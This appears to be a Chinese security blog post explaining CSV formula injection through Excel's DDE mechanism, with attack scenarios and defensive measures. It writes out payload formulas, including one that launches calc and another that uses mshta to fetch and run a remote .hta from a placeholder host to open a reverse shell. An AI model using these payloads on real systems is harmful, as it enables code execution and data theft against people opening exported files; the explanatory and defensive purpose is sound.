zoukankan      html  css  js  c++  java
  • CSV文件注入漏洞简析

     

    “对于网络安全来说,一切的外部输入均是不可信的”。但是CSV文件注入漏洞确时常被疏忽,究其原因,可能是因为我们脑海里的第一印象是把CSV文件当作了普通的文本文件,未能引起警惕。

    一、漏洞定义

    攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而造成攻击行为。

    二、漏洞产生的原因

    1、CSV文件中的几个特殊符号“+、-、@、=”

    尝试在CSV单元格中输入“=1+1”,回车后,发现单元格的值变成了2,说明加号被当做运算执行了。

     

    除了加号,“-”、“@”、“=”也会被解释为公式。

    2、DDE(Dynamic Data Exchange)

    DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用

    三、漏洞演示

    1、OS命令执行

    通过在CSV文件中构建DDE公式,可以调用CMD达到执行操作系统命令的目的。

    如下图所示,在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel需要启动另外一个程序(cmd),点击是,Windows会弹出计算器窗口。

    利用Metasploit可以生成payload,可以使用下面的注入执行payload,从而达到反弹shell的目的。

    =1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0

    因此,利用这种漏洞危害,我们可以在用户的操作系统上执行添加用户、开启任意程序、操作注册表、反弹shell等命令。

    2、跳转至钓鱼网站

    当用户点击下面链接时,会使用IE浏览器打开攻击者提供的钓鱼网站,起到钓鱼的目的。

     

    3、信息泄露

    通过在CSV文件中注入超链接函数,当用户打开文件并点击链接时,可以把指定的单元格内容提交到指定网址(如下提交A2/A3单元格的内容)。

     

    四、漏洞发生的场景

    当网站提供CSV文件导出功能时,如果用户可以控制CSV文件的内容,就可能发送此类攻击。

    比如攻击者可以在登录输入框、以及其他的查询、写入功能中注入恶意命令,当管理员使用CSV格式导出网站日志时,就可能发生此类攻击。

    五、漏洞防御

    1、确保单元格不以特殊字符(“+、-、@、=”)开头;

    2、对单元格的内容进行特殊字符(“+、-、@、=”)过滤;

    3、先对原始输入内容进行转义(双引号前多加一个双引号),然后在添加tab键和双引号防止注入;

    4、禁止导出CSV、Excel格式;

    5、导出为Excel格式前,利用代码把单元格的格式设置为文本(对CSV不生效)。

    防御措施面临的困难:

    1、对单元格内容进行处理势必会改变原始内容,对于需要数据导出后在导入其他系统进行执行的场景,对业务会有影响;

    2、对于数据量大的场景,如果在导出进行过滤、转义等操作,会影响导出效率。

  • 相关阅读:
    2008年末纪念:回顾改变Web的十大事记
    我的Silverlight初探
    查询表字段、类型、是否主键的sql脚本
    FOR XML AUTO将数据库表的一个字段的数据查询拼接为带间隔符的字符串
    Opera:发现浏览器安全漏洞后做什么
    Spry框架实现XML分页[原]
    sql带分隔符的字符串截取
    [转]Internet数据库连接器(IDC)技术
    [摘]淘宝网的开源架构
    System.Data.OracleClient 需要 Oracle 客户端软件 8.1.7 或更高版本 XP
  • 原文地址:https://www.cnblogs.com/Eleven-Liu/p/12397857.html
Copyright © 2011-2022 走看看